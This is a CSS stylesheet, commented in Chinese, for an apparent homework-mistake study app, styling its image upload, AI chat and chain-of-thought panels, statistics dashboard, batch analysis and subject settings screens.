.add-image-placeholder {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
aspect-ratio: 1;
border: 2px dashed #dee2e6;
border-radius: 8px;
background: #f8f9fa;
cursor: pointer;
transition: all 0.3s ease;
position: relative;
}
.add-image-placeholder:hover {
border-color: #667eea;
background: #f0f4ff;
}
.add-image-input {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0;
cursor: pointer;
}
.add-image-label {
display: flex;
flex-direction: column;
align-items: center;
gap: 0.5rem;
pointer-events: none;
color: #666;
}
.add-image-icon {
font-size: 1.5rem;
opacity: 0.7;
}
.add-image-text {
font-size: 0.9rem;
font-weight: 500;
}
/* 分析控制 */
.analysis-controls {
display: flex;
justify-content: center;
padding: 30px 0;
}
.start-analysis-button {
background: linear-gradient(135deg, #28a745, #20c997);
color: white;
border: none;
padding: 15px 30px;
border-radius: 8px;
font-size: 1.1rem;
font-weight: 600;
cursor: pointer;
transition: all 0.3s ease;
box-shadow: 0 4px 12px rgba(40,167,69,0.3);
}
.start-analysis-button:hover:not(:disabled) {
transform: translateY(-2px);
box-shadow: 0 6px 20px rgba(40,167,69,0.4);
}
.start-analysis-button:disabled {
background: #6c757d;
cursor: not-allowed;
transform: none;
box-shadow: none;
}
/* 分析结果界面 */
.analysis-result {
display: flex;
flex-direction: column;
height: calc(100vh - 200px);
}
.result-header {
padding: 20px;
background: #f8f9fa;
border-radius: 8px;
margin-bottom: 20px;
border: 1px solid #dee2e6;
}
.result-header h3 {
margin: 0 0 10px 0;
color: #2c3e50;
font-size: 1.5rem;
}
.result-info {
display: flex;
gap: 30px;
color: #6c757d;
font-size: 0.95rem;
}
.result-info span {
display: flex;
align-items: center;
gap: 5px;
}
/* 聊天容器 */
.chat-container {
flex: 1;
display: flex;
flex-direction: column;
border: 1px solid #dee2e6;
border-radius: 8px;
overflow: hidden;
background: white;
transition:
all 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
transform 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
position 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
top 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
left 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
right 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
bottom 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
width 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
height 0.3s cubic-bezier(0.25, 0.1, 0.25, 1);
/* 设置变换原点为右下角，实现自然缩放 */
transform-origin: bottom right;
}
/* 错题库聊天容器全屏样式 */
.chat-container.chat-fullscreen {
position: fixed !important;
top: 0 !important;
left: 0 !important;
right: 0 !important;
bottom: 0 !important;
z-index: 999 !important;
border-radius: 0 !important;
border: none !important;
box-shadow: 0 0 20px rgba(0, 0, 0, 0.1) !important;
background: #ffffff !important;
/* 保持变换原点为右下角 */
transform-origin: bottom right !important;
display: flex !important;
flex-direction: column !important;
height: 100vh !important;
width: 100vw !important;
flex: none !important;
}
.chat-history {
flex: 1;
padding: 20px;
overflow-y: auto;
background: #fafafa;
}
.message {
margin-bottom: 20px;
max-width: 85%;
}
.message.user {
margin-left: auto;
}
.message.assistant {
margin-right: auto;
}
.message-content {
padding: 15px 20px;
border-radius: 18px;
line-height: 1.2;
}
.message.user .message-content {
background: #f0f9ff;
color: #0369a1;
border: 1px solid #e0f2fe;
border-bottom-right-radius: 6px;
}
.message.assistant .message-content {
background: white;
color: #2c3e50;
border: 1px solid #e9ecef;
border-bottom-left-radius: 6px;
}
.message-time {
font-size: 0.75rem;
color: #6c757d;
margin-top: 5px;
text-align: right;
}
.message.assistant .message-time {
text-align: left;
}
.chat-input {
display: flex;
padding: 20px;
background: white;
border-top: 1px solid #dee2e6;
gap: 10px;
}
.chat-input input {
flex: 1;
padding: 12px 16px;
border: 1px solid #ced4da;
border-radius: 25px;
font-size: 1rem;
outline: none;
transition: border-color 0.2s;
}
.chat-input input:focus {
border-color: #0369a1;
box-shadow: 0 0 0 3px rgba(3, 105, 161, 0.1);
}
.chat-input button {
background: #f0f9ff;
color: #0369a1;
border: 1px solid #e0f2fe;
padding: 12px 24px;
border-radius: 25px;
cursor: pointer;
font-weight: 600;
transition: all 0.2s;
box-shadow: 0 2px 4px rgba(3, 105, 161, 0.1);
}
.chat-input button:hover:not(:disabled) {
background: #e0f2fe;
border-color: #0369a1;
box-shadow: 0 4px 8px rgba(3, 105, 161, 0.15);
}
.chat-input button:disabled {
background: #6c757d;
cursor: not-allowed;
}
/* 仪表板样式 */
.dashboard {
background: white;
border-radius: 12px;
overflow-y: auto;
height: 100%;
display: flex;
flex-direction: column;
box-shadow: 0 4px 20px rgba(0,0,0,0.1);
}
.dashboard-header {
display: flex;
align-items: center;
gap: 1rem;
padding: 1.5rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
}
.dashboard-content {
padding: 1.5rem;
flex: 1;
overflow-y: auto;
}
.stats-overview {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 1rem;
margin-bottom: 2rem;
}
.stat-card {
display: flex;
align-items: center;
gap: 1rem;
padding: 1.5rem;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
border-radius: 12px;
box-shadow: 0 4px 12px rgba(102, 126, 234, 0.3);
}
.stat-icon {
font-size: 2rem;
}
.stat-info {
flex: 1;
}
.stat-number {
font-size: 2rem;
font-weight: 700;
margin-bottom: 0.25rem;
}
.stat-label {
font-size: 0.9rem;
opacity: 0.9;
}
.stats-details {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
gap: 2rem;
margin-bottom: 2rem;
}
.stats-section {
background: #f8f9fa;
border-radius: 12px;
padding: 1.5rem;
border: 1px solid #e1e5e9;
}
.stats-section h3 {
margin: 0 0 1rem 0;
color: #333;
font-size: 1.1rem;
}
.stats-chart {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.chart-item {
display: flex;
align-items: center;
gap: 1rem;
}
.chart-label {
min-width: 60px;
font-size: 0.9rem;
color: #555;
font-weight: 500;
}
.chart-bar {
flex: 1;
height: 20px;
background: #e9ecef;
border-radius: 10px;
overflow: hidden;
}
.chart-fill {
height: 100%;
border-radius: 10px;
transition: width 0.3s ease;
}
.chart-value {
min-width: 30px;
text-align: right;
font-weight: 600;
color: #333;
}
.tags-cloud {
display: flex;
flex-wrap: wrap;
gap: 0.75rem;
}
.tag-item {
display: flex;
align-items: center;
gap: 0.25rem;
padding: 0.5rem 1rem;
background: #667eea;
color: white;
border-radius: 20px;
font-weight: 500;
transition: transform 0.2s ease;
}
.tag-item:hover {
transform: scale(1.05);
}
.tag-name {
font-weight: 600;
}
.tag-count {
opacity: 0.8;
font-size: 0.9em;
}
.recent-mistakes {
display: flex;
flex-direction: column;
gap: 1rem;
}
.recent-item {
padding: 1rem;
background: white;
border-radius: 8px;
border: 1px solid #e1e5e9;
transition: all 0.2s ease;
}
.recent-item:hover {
border-color: #667eea;
box-shadow: 0 2px 8px rgba(102, 126, 234, 0.1);
}
.recent-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 0.5rem;
}
.recent-subject {
background: #667eea;
color: white;
padding: 0.25rem 0.5rem;
border-radius: 4px;
font-size: 0.8rem;
font-weight: 500;
}
.recent-date {
color: #6c757d;
font-size: 0.8rem;
}
.recent-question {
font-weight: 500;
color: #333;
margin-bottom: 0.5rem;
}
.recent-tags {
display: flex;
flex-wrap: wrap;
gap: 0.25rem;
}
.recent-tag {
background: #e9ecef;
color: #495057;
padding: 0.2rem 0.5rem;
border-radius: 4px;
font-size: 0.75rem;
}
.empty-recent {
text-align: center;
padding: 2rem;
color: #6c757d;
font-style: italic;
}
.learning-suggestions {
background: #f8f9fa;
border-radius: 12px;
padding: 1.5rem;
border: 1px solid #e1e5e9;
}
.learning-suggestions h3 {
margin: 0 0 1rem 0;
color: #333;
font-size: 1.1rem;
}
.suggestions-content {
display: flex;
flex-direction: column;
gap: 1rem;
}
.tip-item {
display: flex;
align-items: flex-start;
gap: 1rem;
padding: 1rem;
background: white;
border-radius: 8px;
border-left: 4px solid #667eea;
box-shadow: 0 2px 4px rgba(0,0,0,0.05);
}
.tip-icon {
font-size: 1.5rem;
margin-top: 0.25rem;
}
.tip-text {
flex: 1;
color: #555;
line-height: 1.5;
}
/* 响应式设计 */
@media (max-width: 768px) {
.app-main {
padding: 0.5rem;
}
.analysis-form {
padding: 1rem;
}
.result-header {
flex-direction: column;
gap: 1rem;
text-align: center;
}
.result-actions {
justify-content: center;
}
.message {
max-width: 90%;
}
.chat-input {
flex-direction: column;
}
.chat-input button {
width: 100%;
}
.library-filters {
flex-direction: column;
}
.mistakes-grid {
grid-template-columns: 1fr;
}
.form-row {
grid-template-columns: 1fr;
}
.data-actions {
flex-direction: column;
}
.settings-footer {
flex-direction: column;
gap: 1rem;
}
.api-key-input {
flex-direction: column;
}
.stats-overview {
grid-template-columns: 1fr;
}
.stats-details {
grid-template-columns: 1fr;
}
.stat-card {
padding: 1rem;
}
.stat-number {
font-size: 1.5rem;
}
.chart-item {
flex-direction: column;
align-items: stretch;
gap: 0.5rem;
}
.chart-label {
min-width: auto;
}
.recent-header {
flex-direction: column;
align-items: flex-start;
gap: 0.5rem;
}
.detail-content {
grid-template-columns: 1fr;
}
.header-title {
margin: 1rem 0;
}
.header-actions {
flex-direction: column;
gap: 0.5rem;
}
.image-grid {
grid-template-columns: repeat(auto-fill, minmax(80px, 1fr));
}
.modal-overlay {
padding: 1rem;
}
.data-stats {
grid-template-columns: 1fr;
}
}
/* 滚动条样式 */
.chat-history::-webkit-scrollbar,
.modal-content::-webkit-scrollbar {
width: 6px;
}
.chat-history::-webkit-scrollbar-track,
.modal-content::-webkit-scrollbar-track {
background: #f1f1f1;
border-radius: 3px;
}
.chat-history::-webkit-scrollbar-thumb,
.modal-content::-webkit-scrollbar-thumb {
background: #c1c1c1;
border-radius: 3px;
}
.chat-history::-webkit-scrollbar-thumb:hover,
.modal-content::-webkit-scrollbar-thumb:hover {
background: #a8a8a8;
}
/* 后端测试组件样式 */
.backend-test {
max-width: 1000px;
margin: 0 auto;
padding: 2rem;
}
.test-header {
text-align: center;
margin-bottom: 2rem;
padding: 2rem;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
border-radius: 12px;
}
.test-header h2 {
margin: 0 0 0.5rem 0;
font-size: 1.8rem;
font-weight: 600;
}
.test-header p {
margin: 0 0 1.5rem 0;
opacity: 0.9;
font-size: 1rem;
}
.run-tests-button {
background: rgba(255, 255, 255, 0.2);
color: white;
border: 2px solid rgba(255, 255, 255, 0.3);
padding: 0.75rem 2rem;
border-radius: 8px;
font-size: 1rem;
font-weight: 500;
cursor: pointer;
transition: all 0.3s ease;
backdrop-filter: blur(10px);
}
.run-tests-button:hover:not(:disabled) {
background: rgba(255, 255, 255, 0.3);
border-color: rgba(255, 255, 255, 0.5);
transform: translateY(-2px);
}
.run-tests-button:disabled {
opacity: 0.6;
cursor: not-allowed;
transform: none;
}
.test-results {
display: flex;
flex-direction: column;
gap: 1rem;
}
.test-item {
background: white;
border: 1px solid #e1e5e9;
border-radius: 12px;
padding: 1.5rem;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
transition: all 0.3s ease;
}
.test-item:hover {
box-shadow: 0 4px 16px rgba(0, 0, 0, 0.1);
transform: translateY(-2px);
}
.test-header-row {
display: flex;
align-items: center;
gap: 1rem;
margin-bottom: 1rem;
}
.test-icon {
font-size: 1.5rem;
min-width: 2rem;
text-align: center;
}
.test-name {
flex: 1;
font-weight: 600;
font-size: 1.1rem;
color: #333;
}
.test-status {
font-weight: 500;
font-size: 0.9rem;
padding: 0.25rem 0.75rem;
border-radius: 20px;
background: #f8f9fa;
}
.test-duration {
font-size: 0.8rem;
color: #6c757d;
background: #f8f9fa;
padding: 0.25rem 0.5rem;
border-radius: 4px;
font-family: 'Courier New', monospace;
}
.test-error {
background: #fff5f5;
border: 1px solid #fed7d7;
border-radius: 8px;
padding: 1rem;
margin-top: 1rem;
}
.test-error strong {
color: #c53030;
display: block;
margin-bottom: 0.5rem;
}
.test-result {
background: #f0fff4;
border: 1px solid #c6f6d5;
border-radius: 8px;
padding: 1rem;
margin-top: 1rem;
}
.test-result strong {
color: #2f855a;
display: block;
margin-bottom: 0.5rem;
}
.test-result pre {
background: #1a202c;
color: #e2e8f0;
padding: 1rem;
border-radius: 6px;
overflow-x: auto;
font-size: 0.85rem;
line-height: 1.4;
margin: 0.5rem 0 0 0;
max-height: 300px;
overflow-y: auto;
}
.no-tests {
text-align: center;
padding: 4rem 2rem;
color: #6c757d;
background: #f8f9fa;
border-radius: 12px;
border: 2px dashed #dee2e6;
}
.no-tests p {
margin: 0;
font-size: 1.1rem;
font-style: italic;
}
/* 响应式设计 */
@media (max-width: 768px) {
.backend-test {
padding: 1rem;
}
.test-header {
padding: 1.5rem;
}
.test-header h2 {
font-size: 1.5rem;
}
.test-header-row {
flex-wrap: wrap;
gap: 0.5rem;
}
.test-name {
font-size: 1rem;
}
.test-item {
padding: 1rem;
}
.test-result pre {
font-size: 0.75rem;
padding: 0.75rem;
}
.run-tests-button {
padding: 0.6rem 1.5rem;
font-size: 0.9rem;
}
}
/* 思维链容器样式 */
.thinking-container {
border: 2px solid #e3f2fd;
border-radius: 12px;
background: linear-gradient(135deg, #f8f9ff 0%, #e8f4fd 100%);
margin-bottom: 1rem;
overflow: hidden;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
}
.thinking-header {
display: flex;
align-items: center;
gap: 0.5rem;
padding: 0.75rem 1rem;
background: rgba(33, 150, 243, 0.1);
border-bottom: 2px solid #2196f3;
cursor: pointer;
user-select: none;
transition: background 0.2s ease;
}
.thinking-header:hover {
background: rgba(33, 150, 243, 0.15);
}
.thinking-icon {
font-size: 1.2rem;
}
.thinking-title {
font-weight: bold;
color: #1976d2;
font-size: 1rem;
flex: 1;
}
.thinking-toggle {
color: #1976d2;
font-size: 0.8rem;
transition: transform 0.2s ease;
}
.thinking-content-box {
padding: 1rem;
background: rgba(255, 255, 255, 0.8);
max-height: 400px;
overflow-y: auto;
font-size: 0.95rem;
color: #555;
line-height: 1.2;
border-left: 3px solid #2196f3;
margin: 0;
word-wrap: break-word;
overflow-wrap: break-word;
white-space: pre-wrap;
}
.thinking-content-box::-webkit-scrollbar {
width: 6px;
}
.thinking-content-box::-webkit-scrollbar-track {
background: #f1f1f1;
border-radius: 3px;
}
.thinking-content-box::-webkit-scrollbar-thumb {
background: #90caf9;
border-radius: 3px;
}
/* 旧的思维链样式（保留以兼容） */
.chain-of-thought {
border: 2px solid #e3f2fd;
border-radius: 12px;
background: linear-gradient(135deg, #f8f9ff 0%, #e8f4fd 100%);
padding: 1rem;
margin-bottom: 1.5rem;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
}
.chain-header {
display: flex;
align-items: center;
gap: 0.5rem;
margin-bottom: 1rem;
padding-bottom: 0.5rem;
border-bottom: 2px solid #2196f3;
}
.chain-icon {
font-size: 1.2rem;
}
.chain-title {
font-weight: bold;
color: #1976d2;
font-size: 1.1rem;
}
.chain-sections {
display: flex;
flex-direction: column;
gap: 1rem;
}
.chain-section {
background: white;
border-radius: 8px;
padding: 1rem;
border-left: 4px solid #2196f3;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.05);
transition: transform 0.2s ease, box-shadow 0.2s ease;
}
.chain-section:hover {
transform: translateY(-2px);
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.chain-section-title {
display: flex;
align-items: center;
gap: 0.5rem;
margin-bottom: 0.5rem;
}
.section-number {
background: #2196f3;
color: white;
border-radius: 50%;
width: 24px;
height: 24px;
display: flex;
align-items: center;
justify-content: center;
font-size: 0.8rem;
font-weight: bold;
}
.section-name {
font-weight: 600;
color: #1976d2;
font-size: 0.95rem;
}
.chain-section-content {
margin-left: 2rem;
color: #333;
}
.chain-section-content p {
margin: 0.5rem 0;
line-height: 1.6;
}
.chain-section-content ul, .chain-section-content ol {
margin: 0.5rem 0;
padding-left: 1.5rem;
}
.chain-section-content li {
margin: 0.25rem 0;
line-height: 1.5;
}
/* 思维链内容样式 */
.thinking-content {
background: rgba(255, 255, 255, 0.8);
border-radius: 8px;
padding: 1rem;
font-size: 0.95rem;
color: #555;
line-height: 1.2;
max-height: 400px;
overflow-y: auto;
border-left: 3px solid #2196f3;
word-wrap: break-word;
overflow-wrap: break-word;
white-space: pre-wrap;
}
.thinking-content::-webkit-scrollbar {
width: 6px;
}
.thinking-content::-webkit-scrollbar-track {
background: #f1f1f1;
border-radius: 3px;
}
.thinking-content::-webkit-scrollbar-thumb {
background: #90caf9;
border-radius: 3px;
}
/* 主要内容样式 */
.main-content {
animation: fadeIn 0.3s ease-out;
}
/* 普通内容样式 */
.normal-content {
position: relative;
}
/* 分析指示器样式 */
.analyzing-indicator {
display: flex;
align-items: center;
gap: 0.5rem;
color: #ff9800;
font-size: 0.9rem;
font-weight: 500;
}
.spinner {
animation: spin 1s linear infinite;
}
@keyframes spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
/* 思维链指示器样式 */
.chain-indicator {
background: linear-gradient(135deg, #e3f2fd 0%, #bbdefb 100%);
color: #1976d2;
padding: 0.25rem 0.5rem;
border-radius: 12px;
font-size: 0.8rem;
font-weight: 500;
border: 1px solid #2196f3;
}
/* 结果头部样式 */
.result-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 1rem;
padding-bottom: 0.5rem;
border-bottom: 2px solid #e0e0e0;
}
.result-header h3 {
margin: 0;
color: #333;
}
/* 聊天头部样式 */
.chat-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 1rem;
padding-bottom: 0.5rem;
border-bottom: 1px solid #e0e0e0;
}
.chat-header h3,
.chat-header h4 {
margin: 0;
color: #333;
}
.chat-header-actions {
display: flex;
align-items: center;
gap: 1rem;
}
.chain-indicator {
font-size: 0.875rem;
color: #667eea;
background: #ebf8ff;
padding: 0.25rem 0.75rem;
border-radius: 20px;
font-weight: 500;
}
.chat-fullscreen-toggle {
padding: 0.5rem;
border: 1px solid #e2e8f0;
background: #ffffff;
border-radius: 8px;
cursor: pointer;
font-size: 1rem;
color: #4a5568;
transition: all 0.2s ease;
display: flex;
align-items: center;
justify-content: center;
width: 36px;
height: 36px;
}
.chat-fullscreen-toggle:hover {
background: #f7fafc;
border-color: #cbd5e0;
color: #2d3748;
transform: scale(1.05);
}
/* 全屏状态下的聊天区域增强 */
.chat-container.chat-fullscreen .chat-header {
border-radius: 0;
padding: 1.5rem 2rem 1rem;
background: #ffffff;
border-bottom: 1px solid #e2e8f0;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.05);
margin-bottom: 0;
}
.chat-container.chat-fullscreen .chat-history {
padding: 2rem !important;
flex: 1 !important;
overflow-y: auto !important;
max-height: none !important;
min-height: 0 !important;
height: auto !important;
background: #fafafa !important;
}
.chat-container.chat-fullscreen .chat-input {
border-radius: 0 !important;
padding: 1.5rem 2rem !important;
background: #ffffff !important;
border-top: 1px solid #dee2e6 !important;
box-shadow: 0 -2px 4px rgba(0, 0, 0, 0.05) !important;
flex-shrink: 0 !important;
}
/* 聊天选项样式 */
.chat-options {
padding: 1rem 1.5rem;
border-bottom: 1px solid #e2e8f0;
background: #f8f9fa;
}
.chat-container.chat-fullscreen .chat-options {
padding: 1rem 2rem;
background: #f8f9fa;
}
/* OCR结果立即显示的动画 */
.result-info {
animation: slideInFromTop 0.5s ease-out;
}
@keyframes slideInFromTop {
from {
opacity: 0;
transform: translateY(-20px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
/* AI解答区域动画 */
.chat-container {
animation: fadeInUp 0.3s ease-out;
}
@keyframes fadeInUp {
from {
opacity: 0;
transform: translateY(10px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
/* 数学公式错误样式 */
.math-error {
color: #dc3545;
background: #f8d7da;
padding: 0.2rem 0.4rem;
border-radius: 3px;
font-family: monospace;
border: 1px solid #f5c6cb;
display: inline-block;
}
/* 增强KaTeX样式 */
.katex {
font-size: 1.1em;
}
.katex-display {
margin: 0.5em 0;
text-align: center;
}
.katex-error {
color: #cc0000 !important;
border: 1px solid #cc0000;
background: #ffebee;
padding: 0.1em 0.3em;
border-radius: 0.2em;
font-family: monospace;
}
/* 修复CSS兼容性警告 */
.text-overflow-ellipsis {
-webkit-line-clamp: 3;
line-clamp: 3;
overflow: hidden;
display: -webkit-box;
-webkit-box-orient: vertical;
}
/* 批量分析组件样式 */
.batch-analysis {
display: flex;
flex-direction: column;
height: 100%;
gap: 1rem;
}
.batch-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 1rem;
background: #ffffff;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.batch-header h2 {
margin: 0;
color: #2d3748;
font-size: 1.5rem;
font-weight: 600;
}
.back-button {
padding: 0.5rem 1rem;
background: #f7fafc;
border: 1px solid #e2e8f0;
border-radius: 6px;
cursor: pointer;
color: #4a5568;
font-size: 0.9rem;
transition: all 0.2s ease;
}
.back-button:hover {
background: #edf2f7;
color: #2d3748;
}
.batch-actions {
display: flex;
gap: 0.75rem;
}
.add-button,
.process-button {
padding: 0.75rem 1rem;
border: 1px solid transparent;
border-radius: 8px;
cursor: pointer;
font-size: 0.9rem;
font-weight: 500;
transition: all 0.15s ease;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.add-button {
background: #f0fdf4;
color: #166534;
border-color: #bbf7d0;
}
.add-button:hover {
background: #dcfce7;
border-color: #86efac;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.process-button {
background: #eff6ff;
color: #2563eb;
border-color: #dbeafe;
}
.process-button:hover:not(:disabled) {
background: #dbeafe;
border-color: #93c5fd;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.process-button:disabled {
background: #f8fafc;
color: #94a3b8;
border-color: #e2e8f0;
cursor: not-allowed;
opacity: 0.5;
}
.progress-info {
background: #ffffff;
border-radius: 8px;
padding: 1rem;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.progress-text {
text-align: center;
margin-bottom: 0.5rem;
color: #4a5568;
font-weight: 500;
}
.progress-bar {
width: 100%;
height: 8px;
background: #e2e8f0;
border-radius: 4px;
overflow: hidden;
}
.tasks-list {
display: flex;
flex-direction: column;
gap: 1rem;
}
.task-card {
background: #ffffff;
border-radius: 8px;
border: 1px solid #e2e8f0;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.05);
overflow: hidden;
}
.task-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 1rem;
background: #f7fafc;
border-bottom: 1px solid #e2e8f0;
}
.task-number {
font-weight: 600;
color: #4a5568;
}
.task-status {
font-weight: 500;
font-size: 0.9rem;
}
.remove-button {
width: 24px;
height: 24px;
border: none;
background: #fed7d7;
color: #e53e3e;
border-radius: 50%;
cursor: pointer;
font-size: 0.8rem;
display: flex;
align-items: center;
justify-content: center;
transition: all 0.2s ease;
}
.remove-button:hover:not(:disabled) {
background: #feb2b2;
}
.remove-button:disabled {
opacity: 0.5;
cursor: not-allowed;
}
.task-form {
padding: 1rem;
}
.form-row {
display: flex;
gap: 1rem;
margin-bottom: 1rem;
}
.task-form .form-group {
margin-bottom: 1rem;
}
.task-form label {
display: block;
margin-bottom: 0.5rem;
font-weight: 500;
color: #4a5568;
font-size: 0.9rem;
}
.task-form select,
.task-form input,
.task-form textarea {
width: 100%;
padding: 0.5rem;
border: 1px solid #e2e8f0;
border-radius: 4px;
font-size: 0.9rem;
transition: border-color 0.2s ease;
}
.task-form select:focus,
.task-form input:focus,
.task-form textarea:focus {
outline: none;
border-color: #3182ce;
box-shadow: 0 0 0 2px rgba(49, 130, 206, 0.1);
}
.image-count {
margin-top: 0.5rem;
font-size: 0.8rem;
color: #718096;
}
.task-result {
margin-top: 1rem;
padding: 1rem;
background: #f0fff4;
border: 1px solid #9ae6b4;
border-radius: 6px;
}
.task-result h4 {
margin: 0 0 0.5rem 0;
color: #22543d;
font-size: 1rem;
}
.result-preview p {
margin: 0.25rem 0;
font-size: 0.9rem;
color: #2f855a;
}
.task-error {
margin-top: 1rem;
padding: 1rem;
background: #fed7d7;
border: 1px solid #feb2b2;
border-radius: 6px;
color: #c53030;
font-size: 0.9rem;
}
.batch-footer {
display: flex;
justify-content: space-between;
gap: 1rem;
padding: 1rem;
background: #ffffff;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.clear-button,
.save-all-button {
padding: 0.75rem 1rem;
border: none;
border-radius: 6px;
cursor: pointer;
font-size: 0.9rem;
font-weight: 500;
transition: all 0.2s ease;
}
.clear-button {
background: #e2e8f0;
color: #4a5568;
}
.clear-button:hover {
background: #cbd5e0;
}
.save-all-button {
background: #38a169;
color: white;
}
.save-all-button:hover:not(:disabled) {
background: #2f855a;
}
.save-all-button:disabled {
background: #a0aec0;
cursor: not-allowed;
}
/* 科目配置样式 */
.subject-config {
display: flex;
flex-direction: column;
}
.subject-config .settings-section {
display: flex;
flex-direction: column;
gap: 1rem;
}
.subject-config .settings-section h3 {
margin: 0 0 1rem 0;
color: #333;
font-size: 1.25rem;
}
.subject-config .toolbar {
display: flex;
gap: 0.5rem;
align-items: center;
margin-bottom: 1rem;
}
.subject-config .create-button,
.subject-config .refresh-button {
padding: 0.5rem 1rem;
border: 1px solid #e2e8f0;
border-radius: 6px;
background: #f0f9ff;
color: #0369a1;
cursor: pointer;
font-weight: 500;
transition: all 0.15s ease;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.subject-config .refresh-button {
background: #f8fafc;
color: #64748b;
border-color: #e2e8f0;
}
.subject-config .create-button:hover {
background: #e0f2fe;
border-color: #0369a1;
box-shadow: 0 2px 4px rgba(3, 105, 161, 0.1);
}
.subject-config .refresh-button:hover:not(:disabled) {
background: #f1f5f9;
border-color: #64748b;
box-shadow: 0 2px 4px rgba(100, 116, 139, 0.1);
}
.subject-config .refresh-button:disabled {
background: #f1f5f9;
color: #94a3b8;
border-color: #e2e8f0;
cursor: not-allowed;
box-shadow: none;
}
.subject-config .config-list {
flex: 1;
display: flex;
flex-direction: column;
gap: 1rem;
}
.subject-config .config-item {
border: 1px solid #ddd;
border-radius: 8px;
padding: 1rem;
background: white;
transition: all 0.2s ease;
}
.subject-config .config-item:hover {
border-color: #007bff;
box-shadow: 0 2px 8px rgba(0, 123, 255, 0.1);
}
.subject-config .config-item.disabled {
background: #f8f9fa;
opacity: 0.7;
}
.subject-config .config-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 0.75rem;
}
.subject-config .config-header h4 {
margin: 0;
color: #333;
font-size: 1.1rem;
}
.subject-config .config-actions {
display: flex;
gap: 0.5rem;
}
.subject-config .edit-button,
.subject-config .delete-button {
padding: 0.25rem 0.75rem;
border: 1px solid #e2e8f0;
border-radius: 4px;
cursor: pointer;
font-size: 0.875rem;
transition: all 0.15s ease;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.subject-config .edit-button {
background: #fef3c7;
color: #d97706;
border-color: #fbbf24;
}
.subject-config .edit-button:hover {
background: #fde68a;
border-color: #d97706;
box-shadow: 0 2px 4px rgba(217, 119, 6, 0.1);
}
.subject-config .delete-button {
background: #fee2e2;
color: #dc2626;
border-color: #fca5a5;
}
.subject-config .delete-button:hover {
background: #fecaca;
border-color: #dc2626;
box-shadow: 0 2px 4px rgba(220, 38, 38, 0.1);
}
.subject-config .config-info {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 0.5rem;
font-size: 0.875rem;
}
.subject-config .config-info p {
margin: 0;
color: #666;
}
.subject-config .config-info strong {
color: #333;
}
.subject-config .empty-state {
text-align: center;
padding: 3rem 1rem;
color: #666;
}
.subject-config .empty-state p {
margin: 0 0 1rem 0;
font-size: 1.1rem;
}
.subject-config .empty-state button {
padding: 0.75rem 1.5rem;
background: #f0f9ff;
color: #0369a1;
border: 1px solid #e2e8f0;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
transition: all 0.15s ease;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.subject-config .empty-state button:hover {
background: #e0f2fe;
border-color: #0369a1;
box-shadow: 0 2px 4px rgba(3, 105, 161, 0.1);
}
.subject-config .loading {
text-align: center;
padding: 2rem;
color: #666;
font-size: 1.1rem;
}
.subject-config .tips {
margin-top: 1.5rem;
padding: 1rem;
background: #f8f9fa;
border-radius: 6px;
border-left: 4px solid #007bff;
}
.subject-config .tips h5 {
margin: 0 0 0.75rem 0;
color: #333;
font-size: 1rem;
}
.subject-config .tips ul {
margin: 0;
padding-left: 1.25rem;
}
.subject-config .tips li {
margin-bottom: 0.25rem;
color: #666;
font-size: 0.875rem;
}
/* 添加API配置按钮特殊样式 */
.add-api-button {
background: #f0f9ff !important;
color: #0369a1 !important;
border: 1px solid #e2e8f0 !important;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05) !important;
font-weight: 500 !important;
transition: all 0.15s ease !important;
}
.add-api-button:hover {
background: #e0f2fe !important;
border-color: #0369a1 !important;
box-shadow: 0 2px 4px rgba(3, 105, 161, 0.1) !important;
}
/* 保存所有设置按钮特殊样式 */
.save-all-settings-button {
background: #f0f9ff !important;
color: #0369a1 !important;
border: 1px solid #e2e8f0 !important;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05) !important;
font-weight: 500 !important;
transition: all 0.15s ease !important;
}
.save-all-settings-button:hover:not(:disabled) {
background: #e0f2fe !important;
border-color: #0369a1 !important;
